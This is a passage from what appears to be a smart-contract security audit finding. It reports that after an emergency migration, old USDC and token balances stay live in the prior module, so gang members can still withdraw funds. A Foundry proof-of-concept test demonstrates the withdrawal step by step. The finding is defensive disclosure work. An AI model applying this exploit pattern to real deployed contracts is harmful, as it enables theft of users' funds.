but, after the migration, the old virtual balance of usdc and crimeMoney has not delete, the gangMember still can call withdrawMoney
to withdraw their usdc.
Here is the poc:
function test_migrateAttack() public {
vm.prank(godFather);
usdc.transfer(address(this), 100e6);
usdc.approve(address(moneyShelf), 100e6);
laundrette.depositTheCrimeMoneyInATM(address(this), address(this), 100e6);
assertEq(usdc.balanceOf(address(this)), 0);
assertEq(usdc.balanceOf(address(moneyShelf)), 100e6);
assertEq(crimeMoney.balanceOf(address(this)), 100e6);
assertEq(address(kernel.getModuleForKeycode(Keycode.wrap("MONEY"))), address(moneyShelf));
EmergencyMigration migration = new EmergencyMigration();
MoneyVault moneyVault = migration.migrate(kernel, usdc, crimeMoney);
assertNotEq(address(moneyShelf), address(moneyVault));
assertEq(address(kernel.getModuleForKeycode(Keycode.wrap("MONEY"))), address(moneyVault));
console.log("MoneyVault: ", address(moneyVault));
joinGang(address(this));
laundrette.withdrawMoney(address(this), address(this), 100e6);
assertEq(usdc.balanceOf(address(this)), 100e6);
assertEq(usdc.balanceOf(address(moneyShelf)), 0);
assertEq(crimeMoney.balanceOf(address(this)), 0);
}
Manual review, Foundry.